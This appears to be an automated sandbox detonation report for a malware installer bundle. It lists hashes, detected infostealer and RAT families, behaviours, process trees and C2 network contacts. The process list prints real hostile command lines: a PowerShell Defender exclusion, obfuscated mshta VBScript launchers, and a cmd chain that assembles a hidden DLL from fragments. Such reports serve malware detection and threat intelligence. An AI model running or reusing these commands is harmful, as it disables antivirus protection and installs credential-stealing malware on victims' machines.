| MD5 | 84a1cb1583d38014bc75e2a44fd9ae12 |
| SHA1 | de893f2a4fa803d087403467328ab7cad63558e9 |
| SHA256 | 81bc3e2ee319a756e0f425780b54710b69c8905f37d354eb006fb0188a60bf7d |
| SHA512 | db52e718addb0e5e0c99afbd02b02cdafcc77bf30b0f9d34381ae3f789b2ad0198c7cffa96136bb9205e75e4795e9c7caed2d936748b69b674914bf471d6def3 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
| MD5 | 54c1867adbd63e88059ce3b60238b566 |
| SHA1 | ae90f33a00fe8eff071ae9c84047fed06eba9a45 |
| SHA256 | 26d63e736b0b22f325535721cdbb7ad61a09ee3a422982296e42a014f81d9845 |
| SHA512 | ae87a655b9fbb1cac4471dd4ad9d840443562c60859cfdbefcec5a1d76e4db398f64fcde2a743a8e44ac691b51cc4d610dfcbba9e3d6820d73ce9d17a4e6bc43 |
memory/1180-276-0x0000000000400000-0x00000000016E0000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
| MD5 | f7028969a82fd2df8865691bb38e8f8a |
| SHA1 | 0ae39a4f10e446ad3feddd68c2911e559da16b0b |
| SHA256 | 02266533b5d6abc0e0582c3e7f0f380565f2f55e643e86032e328d8e5b9a9e15 |
| SHA512 | 1db46c997288d5f681e69d7f0006ff77da14168dce6ea71729f8cbf221dfd2d1214309feecba124678795661c55f1d1bbe2c1873cce6fe6771a193ed059d1bee |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\4167ee23-cdb6-4131-8136-a2f3152d76dc.tmp
| MD5 | d00b908944fe5bbfbf2cddc68030a975 |
| SHA1 | 2bf971de42e5ffea4c10708cffbd4e0cf1d5a879 |
| SHA256 | e5a4360145d7b85756811ce5d939488b1bac5b69c402bef2f964f08e1b84ffe3 |
| SHA512 | 19199da73732dab8b1f318229530be320fb660dd44d60c7db7be23d3e4f080a71f8745f1a2e20d5bc0c96d713fdb3fc36e9cbb4e761302ed46d536517b9a956a |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | e22740115982f5222337855718bd78da |
| SHA1 | 1f1ab82bf73e29055f286b937ebedd70f95ad54a |
| SHA256 | 7c31c376235915e3ded487d182ca0ed0aaeed703c7420ffd27b386360bc0c5ca |
| SHA512 | 955099ebb091d81ed8c9ef3634cfcf0d441ed9fa2f2806d126b14c4ec46c784f438711e48c5488c5b571bc1fd5424885a813f8df9db0e9457b2a3278a6655f21 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 1e7b9398b77d5a6d3238360d248876cf |
| SHA1 | 6d48e4865929aa326af7467c9639a5b181001671 |
| SHA256 | 9f7bb5b34a6725615a5261335838845b5b2407028bf67443065d05e88792d8d2 |
| SHA512 | 0e797eaff4a87e166faebbe3dad4246dc78563303875b62c8f72058b794b2fdce63342fa1d372d149cc1128f394692d2e15d2c203a1db5be1ffb3129a24a5d1c |
memory/3744-322-0x0000000003150000-0x00000000031E2000-memory.dmp
memory/3744-323-0x00000000031F0000-0x0000000003F31000-memory.dmp
memory/3744-324-0x0000000003F40000-0x0000000003FCB000-memory.dmp
memory/3744-325-0x0000000003FD0000-0x0000000004057000-memory.dmp
memory/3624-331-0x0000000002E10000-0x0000000002EB5000-memory.dmp
memory/3624-335-0x0000000002EC0000-0x0000000002F52000-memory.dmp
memory/3624-332-0x0000000002EC0000-0x0000000002F52000-memory.dmp
memory/3624-337-0x0000000000400000-0x000000000054C000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 9d34bf6e1fedd86d809374d7f16e0adc |
| SHA1 | 9488bdf8650a8864820a6109573c93a608dd7f89 |
| SHA256 | 86eca5ae72e0d9277f6f7ec43bbe035c6e64ca62b419056b17d2f03fe19785a7 |
| SHA512 | ebc76e99cb9e9d5140b5d3f55dbedaa6beac84f839c8da396ff14471bd8de268637013411700f26c6615d140910fed6754e9994059a56581eb34c2e69d5586b3 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | e2f2e7e2607cd293c70ab62304eb40f5 |
| SHA1 | f288c07b73d024b3dbaf39e351b3e3f656a820d1 |
| SHA256 | e9b2cdad236b3b963268d1086c700601d5eafa6a0b963771b2373fe87eed84fe |
| SHA512 | b041679c48d79f16998dd3b92f37cd41b0a5c5d8d9dd803340793c0786326e735af12fa61575988a47974e8feacf925fbfab26ce02b91b917e0496d75115efeb |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
| MD5 | b030fda58281e73dfa0d28b1a55362db |
| SHA1 | 85210b48959dec58ef7abdbc1265adbc2aa95db2 |
| SHA256 | c789b033dd0750f3a69d92dc854dd2873b5e6dacf030006abf311690d588db8a |
| SHA512 | 7730110e026b0ad335f9bdc4fd9f5b9aa0fd918976386c9d547b5d6c1ae14e80065f923fdb8de1a870b6b424b599cdfcbf4d1628fc28d1dc861ff50a269f9be3 |
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-22 09:48
Reported
2024-11-22 09:50
Platform
win7-20241010-en
Max time kernel
119s
Max time network
124s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2224 set thread context of 2460 | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0741b6b6c3.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\setup_install.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0741b6b6c3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0752b359bd184a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07778dd9fc6d53.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07be2debb1a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun075246a0bffeab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07e3a022a8656c5ca.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0752b359bd184a.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC1907127\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0741b6b6c3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0752b359bd184a.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07be2debb1a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07e3a022a8656c5ca.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun075246a0bffeab.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07778dd9fc6d53.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07fcb30681127.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07dc9d2dae027.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0750d1e499.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0794d0eebce1.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07cad998fb20a18.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07fcb30681127.exe
Sun07fcb30681127.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0741b6b6c3.exe
Sun0741b6b6c3.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07be2debb1a.exe
Sun07be2debb1a.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun075246a0bffeab.exe
Sun075246a0bffeab.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07dc9d2dae027.exe
Sun07dc9d2dae027.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0750d1e499.exe
Sun0750d1e499.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0752b359bd184a.exe
Sun0752b359bd184a.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07778dd9fc6d53.exe
Sun07778dd9fc6d53.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07e3a022a8656c5ca.exe
Sun07e3a022a8656c5ca.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe
Sun07cad998fb20a18.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe
Sun0794d0eebce1.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 276
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun07cad998fb20a18.exe") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Sun07cad998fb20a18.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 452
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0794d0eebce1.exe
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
Network
| Country | Destination | Domain | Proto |
| NL | 45.133.1.182:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| N/A | 127.0.0.1:49298 | tcp | |
| N/A | 127.0.0.1:49300 | tcp | |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | ggg-cl.biz | udp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| NL | 23.200.189.225:80 | www.microsoft.com | tcp |
| NL | 45.9.20.13:80 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| FR | 51.178.186.149:80 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| LV | 45.142.215.47:27643 | tcp |
Files
\Users\Admin\AppData\Local\Temp\7zSC1907127\setup_install.exe
| MD5 | 2d62b8cf0d215971e12220d96a099e81 |
| SHA1 | 72e43b82e9510321dbb5130d35d09acd850c7ad8 |
| SHA256 | bec993083a69304244f13e191173e31d23c634567ab21484258195086112aa40 |
| SHA512 | e0763f93143060599658b64cc3c0fa8e8be62c4af2567ab08868492546f200bb5a91b367d2eea296b0a6d71c39a0f0000d71a66aabc1d36664d01dedbfbc5f59 |
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
memory/2736-53-0x000000006B440000-0x000000006B4CF000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSC1907127\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/2736-70-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2736-69-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2736-72-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2736-71-0x0000000064941000-0x000000006494F000-memory.dmp
memory/2736-68-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2736-67-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2736-66-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2736-65-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2736-64-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2736-63-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2736-62-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2736-61-0x000000006FE40000-0x000000006FFC6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSC1907127\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
memory/2736-50-0x000000006B280000-0x000000006B2A6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSC1907127\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
memory/2736-75-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2736-77-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2736-78-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2736-76-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2736-73-0x0000000000400000-0x000000000051C000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSC1907127\Sun0741b6b6c3.exe
| MD5 | f75e29fdd8803d46736be53a119c0814 |
| SHA1 | e75af0dd2e15043e49684e599bd76f037abbee64 |
| SHA256 | fe9cac8ff86d68feb4e76f8bc04c345e767353feed2a5fe8c98cc9a42b8739af |
| SHA512 | 223587ca8c9974976f07a683607cabf9e6414878121be48a4831ce7b5c2bbde7dcfc3dd6454999c135952fddc307d99b47c008a5417d3ab91b58775a6dc92b12 |
